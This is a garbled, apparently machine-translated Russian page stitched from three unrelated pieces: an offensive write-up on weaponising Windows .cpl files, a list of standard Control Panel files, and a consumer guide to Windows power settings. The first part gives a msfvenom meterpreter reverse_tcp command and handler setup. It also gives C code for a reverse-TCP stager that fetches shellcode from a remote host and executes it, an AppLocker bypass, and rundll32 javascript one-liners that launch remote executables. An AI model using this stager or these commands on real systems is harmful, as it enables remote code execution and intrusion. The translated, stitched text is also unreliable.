Cpl как изменить

Трое хороших учеников 2016/05/23 9:41

0x00 Предисловие

---

Исследования недавноMicrosoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)Во время процесса я познакомился с файлом cpl, поэтому я провел дальнейшее исследование и нашел некоторые интересные детали, которыми можно поделиться со всеми.

0x01 введение

---

Файл CPL является расширением панели управления Windows. CPL пишется какControl Panel Item
В каталоге system32 в каталоге установки системы находится ряд файлов .cpl, которые соответствуют элементам на панели управления.
Файл CPL — это, по сути, исполняемый файл Windows, но это не тот файл, который можно запускать напрямую и независимо. Обычно он открывается с помощью shell32.dll.

0x02 Создать файл CPL

---

1. Характеристики файла

По сути, это файл DLL, но он имеет следующие характеристики:

• Суффикс cpl
• Содержит функцию экспорта CPLApplet
• Дважды щелкните, чтобы запустить напрямую

2. Открытый метод

(1) Дважды щелкните, чтобы запустить напрямую

(2) Введите под cmdrundll32 shell32.dll, Control_RunDLL <имя файла>

(3) Введите под cmdcontrol <имя файла>

Заметка:
cmdrundll32 shell32.dll, Control_RunDLL <имя файла>Эквивалентно cmdcontrol <имя файла>
control.exe по существу вызывает rundll32.exe, а процесс выполнения файлов cpl через control.exe — rundll32.exe

(4) Вызывается по сценарию
a、vbs

#!shell
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")
Скопировать код

b、js

#!javascript
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\test\test.cpl");
Скопировать код

3. Используйте vc 6.0 для создания стандартного шаблона cpl.

По характеристикам файла cpl по сути является dll файлом
Таким образом, мы можем создать проект dll под vc и определить функцию экспорта как CPlApplet

#!c
LRESULT APIENTRY CPlApplet
(
    HWND    aHwndCPL_in,    // Handle to Configuration Panel window.
    UINT    aUMsg_in,        // CPL message.
    LPARAM    aLParam1_in,    // First message parameter.
    LPARAM  aLParam2_in    // Second message parameter.
) 
Скопировать код

Стоит отметить, что некоторые параметры, связанные с CPL, определены в aUMsg_in:

                   | Return            | Return
CPL message        | if successfully   | if not successfully
-------------------+-------------------+--------------------
CPL_INIT           | nonzero           | zero
CPL_GETCOUNT       | nonzero           | zero
CPL_NEWINQUIRE     | zero              | nonzero
CPL_SELECT         | zero              | nonzero
CPL_DBLCLK         | zero              | nonzero
CPL_STOP           | zero              | nonzero
CPL_EXIT           | zero              | nonzero
Скопировать код

Диаграмма взята из http://www.codeproject.com/Articles/3026/Creating-a-Config-Panel-Applet.

CPL_INIT：
Глобальная инициализация

CPL_GETCOUNT：
Получить количество диалоговых окон, поддерживаемых приложением
Возвращаемое значение: количество поддерживаемых диалоговых окон.

CPL_NEWINQUIRE：
Запросить информацию для диалоговых окон, поддерживаемых приложением

CPL_SELECT：
Установите значок, отображаемый, когда пользователь выбирает диалог

CPL_DBLCLK：
Установите значок, отображаемый, когда пользователь дважды щелкает диалоговое окно

CPL_STOP：
Сообщение для каждого диалога при закрытии панели управления

CPL_EXIT：
Освободить память, выйти

Вышеупомянутое является лишь кратким введением в связанные функции. Для получения подробных описаний вы можете проверить msdn и предоставить шаблон проекта для справки:
http://www.vbforums.com/attachment.php?s=7ebc3a64c985f675615a3e9d0aa350e8&attachmentid=286&d=981822351

Заметка:
Язык комментариев к функциям — словенский, но это не влияет на разработку нашей программы.
После загрузки шаблона файл cpl может быть скомпилирован напрямую, дважды щелкните для нормального выполнения

4. Создавайте файлы cpl простым и грубым способом.

Создайте новый стандартный проект dll вDLL_PROCESS_ATTACHДобавьте ниже код, связанный с полезной нагрузкой:

#!c
#include "Windows.h"
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            WinExec("cmd", SW_SHOW);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
Скопировать код

Суффикс файла dll, созданного после компиляции, можно изменить на cpl

Как показано

После нажатия появится cmd, но после выхода всплывающее окно предложит проблемы совместимости программ.
Если это cmd с правами администратора, окно не появится после завершения запущенной программы.
(Решение этой проблемы будет представлено позже)

0x03 тест

---

Из приведенного выше содержимого можно сделать вывод, что пока полезная нагрузка записана в функции DllMain (), вы можете напрямую изменить имя суффикса dll на cpl, а затем дважды щелкнуть для запуска
Естественно, я подумал о том, чтобы проверить, поддерживает ли meterpreter этот метод.

Создайте test.cpl:

#!shell
msfvenom -p windows/meterpreter/reverse_tcp -b 'x00xff' lhost=192.168.127.132 lport=8888 -f dll -o test.cpl
Скопировать код

msf：

#!shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.127.132
set LPORT 8888
exploit
Скопировать код

Дважды щелкните test.cpl и вернитесь в оболочку meterpreter.
Но также при выходе всплывающее окно предложит помощнику по совместимости программ

0x04 решить проблему

---

1. Всплывающее окно после обычного выполнения dll.

После тестирования было обнаружено, что исходная проблема совместимости программы была вызвана младшей версией vc6.0.
Поэтому при переходе на vs2008 (или более новую версию) этой проблемы не будет.

Как показано

2. Решите проблему с рамой пули meterpreter.

Я не буду здесь углубляться в метод генерации msfvenom. Решение состоит в том, чтобы использовать программу на C ++ для написания версии meterpreter reverse_tcp.
Ключевой код:

#!c
#include "Windows.h"
#include <WinSock2.h>
#include <stdio.h>  

#pragma comment(lib,"WS2_32.lib")   

int reverse_tcp()
{
    WSADATA wsData;
        if(WSAStartup(MAKEWORD(2,2),&wsData))
        {
            printf("WSAStartp fail.n");
            return 0;
        } 

        SOCKET sock = WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
        SOCKADDR_IN server;
        ZeroMemory(&server,sizeof(SOCKADDR_IN));
        server.sin_family = AF_INET;
        server.sin_addr.s_addr = inet_addr("192.168.127.132"); //server ip
        server.sin_port = htons(8888); //server port
        if(SOCKET_ERROR == connect(sock,(SOCKADDR*)&server,sizeof(server)))
        {
            printf("connect to server fail.n");
            closesocket(sock);
            WSACleanup();
            return 0;
        } 

        u_int payloadLen;
        if (recv(sock,(char*)&payloadLen,sizeof(payloadLen),0) != sizeof(payloadLen))
        {
            printf("recv errorn");
            closesocket(sock);
            WSACleanup();
            return 0;
        } 

        char* orig_buffer = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        char* buffer = orig_buffer;
        int ret = 0;
        do 
        {
            ret = recv(sock,buffer,payloadLen,0);
            buffer += ret;
            payloadLen -= ret;
        } while (ret > 0 && payloadLen > 0);  


        __asm
        {
            mov edi,sock;   
            jmp orig_buffer; 
        } 

        VirtualFree(orig_buffer,0,MEM_RELEASE);   


}   

BOOL APIENTRY DllMain( HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
                      )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        reverse_tcp();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
Скопировать код

Создайте файл dll, измените имя суффикса на cpl
Нормальная работа, нормальный выход

0x05 Bypass Windows AppLocker

---

Ранее представленный «Обход Windows AppLocker»
Выполнение exe и скриптов будет заблокировано после включения правил по умолчанию.А как насчет файлов cpl?
Конечно, вы можете обойти ограничения Windows AppLocker

Как показано

0x06 rundll32

---

Добавьте некоторые детали вызова js-кода rundll32;

Запустите удаленный exe, он появится, чтобы перехватить:

#!javascript
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("\\127.0.0.1\c$\test\test.exe")
Скопировать код

Как показано

Решение:

#!javascript
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\127.0.0.1\c$\test\test.exe")
Скопировать код

Как показано

При запуске локального файла cpl всплывающее окно сообщит, что расширение файла не может быть распознано:

#!javascript
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("c:\test\cpl.cpl")
Скопировать код

Как показано

Решение:

#!javascript
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c c:\test\cpl.cpl",0,true)
Скопировать код

Остающаяся проблема:

1. Невозможно вызвать Shell.Application для непосредственного выполнения файла cpl:

#!javascript
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new20%ActiveXObject("Shell.Application").ControlPanelItem("c:\test\cpl.cpl")
Скопировать код

2. Файл cpl нельзя вызвать удаленно

Неизвестный суффикс файла:

#!javascript
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\127.0.0.1\c$\test\cpl.cpl")
Скопировать код

Bullet box перехватывает удаленные файлы:

#!javascript
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("cmd /c \\127.0.0.1\c$\test\cpl.cpl")
Скопировать код

and

#!javascript
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c \\127.0.0.1\c$\test\cpl.cpl",0,true)
Скопировать код

Если у вас есть решение или идея получше, я надеюсь, вы сможете им поделиться. Большое спасибо.

0x07 Microsoft Windows Media Center — .MCL File Processing Remote Code Execution (MS16-059)

---

Ссылка для скачивания:www.exploit-db.com/exploits/39…

Поместите настроенный ярлык в любой путь, локальный или удаленный, когда пользователь обращается к этому каталогу, полезная нагрузка будет выполнена
Удаленный путь демонстрации:\127.0.0.1c$testpoc(При нормальных обстоятельствах доступ к этому каталогу также будет рассматриваться как удаленный каталог и заблокирован песочницей)

На рисунке показана демонстрация poc для доступа к удаленному каталогу.\127.0.0.1c$testpocИ обойти перехват песочницы, успешно выполнить полезную нагрузку

Компоненты панели управления (тип *.cpl)

Файлы типа *.cpl — это компоненты панели управления. Хранятся они в папке ..windowssystem32

Панель управления содержит средства настройки, предназначенные для изменения внешнего вида и характеристик различных компонентов windows.

Некоторые из этих средств позволяют выбрать параметры, делающие работу с компьютером более веселой. Например, компонент «Мышь» позволяет заменить стандартные указатели мыши на анимированные значки, которые перемещаются по экрану, а компонент «Звуки и аудиоустройства» позволяет заменить стандартные системные звуковые сигналы на звукозаписи по выбору пользователя. Другие компоненты помогают настроить windows так, чтобы облегчить управление компьютером. Например, левша может с помощью компонента «Мышь» переключить кнопки мыши так, чтобы с помощью правой кнопки выполнять основные операции выделения и перетаскивания.

Чтобы открыть панель управления, нажмите кнопку Пуск и выберите команду Панель управления. Если выбран классический стиль меню Пуск, нажмите кнопку Пуск, укажите на команду Настройка и выберите Панель управления.

Также панель управления можно открыть, нажав кнопку Пуск, выбрав команду Выполнить и набрав control.exe. В качестве параметров можно указать компонент, который требуется открыть. Например, набрав команду control.exe main.cpl как результат мы получим открытие компонента Свойства: мышь. Еще один параметр — через две запятые после имени компонента можно указать номер вкладки. Пример: control.exe main.cpl,,4 — открываем компонент Свойства: мышь на вкладке оборудование. Еще один способ открыть компонент Панели управления — набрать имя файла компонента в командной строке.

Скрыть компонент Панели управления можно с помощью реестра, прописав его в разделе

[hkey_current_usercontrol paneldon’t load].

Ниже приведены стандартные файлы компонентов Панели управления.

access.cpl

Специальные возможности

appwiz.cpl

Установка и удаление программ

deck.cpl

Свойства: Экран

hdwwiz.cpl

Мастер установки оборудования

inet.cpl

Свойства: Интернет

intl.cpl

Язык и региональные стандарты

joy.cpl

Игровые устройства

main.cpl

Свойства: Мышь

mmsys.cpl

Свойства: Звуки и аудиоустройства

ncpa.cpl

Сетевые подключения

nusrmgr.cpl

Учетные записи пользователей

odbccp32.cpl

Администратор источников данных odbs

powercfg.cpl

Свойства: Электропитание

sysdm.cpl

Свойства системы

telephon.cpl

Телефон и модем

timedate.cpl

Свойства даты и времени

Всем доброго времени!

Как показывает практика (😉) для неискушенных пользователей становится настоящим открытием, что через параметры электропитания в Windows есть возможность поменять много всего «интересного», например:

• снизить температуру ЦП (за счет ограничения его производительности). Или, наоборот, поднять произв-ть ЦП, если она ранее кем-то была ограничена;
• отключить динамическое изменение яркости дисплея (актуально для ноутбуков);
• «точечно» настроить работу спящего режима (кстати, в ряде случаев компьютер не уходит в СОН из-за некорректных параметров питания);
• увеличить время работы ноутбука от аккумулятора, и многое другое.

*

Собственно, в сегодняшней заметке затрону как эти вопросы, так и сопутствующие. Для начала рассмотрим, как вообще зайти в эти самые параметры электропитания. 👌

*

Настройки электропитания

Как в них «попасть»

Способ 1

Итак, самый простой и быстрый способ перейти в параметры электропитания — нажать Win+R (чтобы вызвать окно «Выполнить») и использовать команду powercfg.cpl (см. пример ниже 👇).

Разумеется, найти эти же настройки можно через панель управления — вкладка «Оборудование и звук / Электропитание».

Обратите внимание на скриншот ниже 👇 (у вас эта вкладка будет выглядеть практически также, за исключением кол-ва схем электропитания):

• меню слева: можно «отрегулировать» кнопки питания, спящий режим, откл. дисплея;
• справа: приведены схемы электропитания (каждую из которых можно до-настроить вручную).

*

Способ 2 (универсальный // быстрое изменение схемы электр-ния) 👌

Для Windows есть одна очень интересная утилита для работы с настройками электропитания — 📌Switch Power Scheme (ссылка на офиц. сайт). Особенна она удобна для ноутбуков — можно двумя кликами мышки поменять схему электропитания с максим. производительности на экономный (например, когда отключили устройство от сети).

Разумеется, при помощи нее можно быстро открыть настройки электропитания (и поменять их!). См. скрин приложения ниже. 👇

*

Способ 3 (только Windows 10/11)

Сначала необходимо открыть параметры Windows: либо с помощью сочетания клавиш Win+i; либо через меню ПУСК/параметры.

Далее перейти в раздел «Система / Питание и спящий режим». На этой страничке можно будет задать режим питания, время ожидания до авто-откл. дисплея и пр.

Также здесь будет ссылка на сопутствующие параметры — она то и нужна! 👌 См. стрелку-5 на скриншоте ниже. 👇

*

Способ 4* (лишь для некоторых ноутбуков)

У ряда ноутбуков вместе с драйверами идут спец. центры управления устройством (см. скрин ниже 👇). Например, такие центры могут быть у ноутбуков от Asus, Sony, MSI, Lenovo и пр.

Дело в том, что некоторые параметры могут задаваться именно в этих центрах (и настройки в панели управления Windows не всегда могут помочь!). Поэтому, если настройки электропитания в Windows не «регулируют» определенные параметры — проверьте, нет ли у вас такого центра…

Кстати, найти центр управления ноутбуком достаточно просто — по умолчанию ссылка на него есть на рабочем столе и в меню ПУСК (+ ее легко найти через поиск). 👇

*

Что «интересного» через них можно изменить

Яркость экрана (для ноутбуков / моноблоков)

В ноутбуках яркость экрана может быть «больной» темой: например, довольно многие не могут отключить адаптивную регулировку (из-за чего яркость дисплея постоянно меняется в зависимости от картинки на экране, что очень мешает норм. работе).

Чтобы задать оптимальные параметры яркости — откройте настройки текущей схемы электропитания и перейдите в раздел дополнительных параметров (👇).

Далее в разделе «Яркость экрана» установите значения для всех режимов одинаковыми (в моем случае 48% 👇), и доп. откл. адаптивную регулировку. Настройки должны быть идентичными и для питания от сети, и от батареи.

Кстати, в параметрах Windows 11/10 (сочетание Win+i) в разделе «Система / дисплей» может быть еще один «флажок», отвечающий за адаптивную регулировку яркости. Его также нужно снять, если эту опцию вы хотите выключить.

*

👉 Дополнительно в помощь!

1) Не регулируется яркость экрана на ноутбуке, что делать? Как настроить яркость

2) Самопроизвольное изменение яркости монитора — ноутбук меняет яркость сам! Почему?

*

«Регулировка» производительности и температуры ЦП

Слово «регулировка» я взял в кавычки (т.к. такой опции нет). Однако в параметрах текущей схемы электропитания есть строка «Управление питанием ЦП», где можно ограничить макс. состояние процессора (извиняюсь за тавтологию 😉).

Например, если вместо 100% (по умолчанию) поставить 99% — то мы получим:

• откл. технологии Turbo Boost (полезно, когда ЦП ведет себя не стабильно);
• снижение производительности ЦП (и потребления заряда аккумулятора!);
• благодаря снижению произв-ти — снижение температуры;
• и как следствие из трех предыдущих пунктов — повышение стабильности работы системы (даже при определенных неполадках с системой охлаждения).

*

👉 Само собой, если при 100% у вас ПК корректно работает (нет перегрева, подлагиваний и пр.) — ограничивать макс. состояние ЦП нет необходимости!

*

👉 Статьи по теме (в помощь)!

1) Как снизить температуру процессора за счет тонких настроек (до 20°C): отключение Turbo Boost, Undervolting (для процессоров Intel).

2) Из-за чего низкая производительность процессора Intel на ноутбуке. Как его можно ускорить? (про Turbo Boost)

*

Работа кнопок питания/сна (+ задаем доп. функции для любых кнопок клавиатуры)

Далеко не всегда удобно, когда по кнопке питания компьютер выключается — заместо этого многим было бы гораздо сподручнее отправлять его в сон (например 😉).

Чтобы настроить работу кнопок питания — зайдите в параметры электропитания и кликните по соотв. боковому меню (см. скрин ниже 👇).

Далее выберите из меню действие для кнопки питания и сна.

Важно! Если среди списка у вас не будет гибернации, сна и пр. элементов, как у меня в примере 👇 — возможно, у вас не установлены драйвера + откл. некоторые функции. Ссылка ниже в помощь!

👉 Инструкция по теме!

Как включить гибернацию в Windows (на моем ноутбуке в меню ПУСК у меня нет такого пункта).

👉 Кстати, если уж мы коснулись настроек кнопок питания — не могу не упомянуть о утилите Volume 2. С ее помощью на любые* сочетания кнопок клавиатуры можно «повесить» многие типовые задачи: выкл. дисплея, отправка в сон, регулировка звука, яркости и пр.

Более подробно по нижеприведенной ссылке.

👉 В помощь!

Как обычной клавиатуре задать «горячие» клавиши для типовых задач («сделать» функциональны клавиши, как на ноутбуке).

*

Увеличить время работы ноутбука от аккумулятора

Пожалуй, настройки электропитания влияют на автономную работу ноутбука наиболее существенно. Если вы хотите несколько продлить срок работы устройства от батареи — попробуйте задать следующие параметры:

• ограничить макс. состояние процессора (вместо 100% задать 90% 👇);
• уменьшить яркость дисплея;
• уменьшить время «простоя» после которого ноутбук автоматически откл. экран или уходит в сон;
• отключить Wi-Fi, Bluetooth-адаптеры (при неиспользовании).

*

👉 В помощь!

Быстро разряжается ноутбук: как увеличить его время работы от аккумулятора (несколько важных рекомендаций!)

*

Кроме этого, в параметрах Windows 10 (сочетание Win+i) в разделе «Система / батарея» установите заряд батареи, при котором вкл. режим экономии.

👉 Кстати, если у вас есть доп. панель управления ноутбуком — обратите внимание, нет ли в ней раздела «Питание» (нередко, когда в этих вкладках находятся опции, от которых существенно зависит работа устройства 👇).

*

Из-за каких настроек питания ПК может не уходить в сон

Это довольно распространенная проблема, и иногда она возникает из-за некоторых «пунктов» в электропитании…

Речь идет о таймерах пробуждения и параметрах мультимедиа: если ваш ПК/ноутбук не уходит в сон — попробуйте изменить эти настройки так, как показано на моем скриншоте ниже. 👇

👉 В помощь!

Windows не уходит в спящий режим — как это исправить (инструкция)

*

👉 Также по теме!

Как отправить компьютер в СОН (ждущий режим) с помощью кнопок и горячих клавиш / спящий режим менее чем за 1 сек.

*

Дополнения по текущему вопросу — всегда приветствуются!

Успехов!

👋

Первая публикация: 29.03.2021

Корректировка: 28.02.2022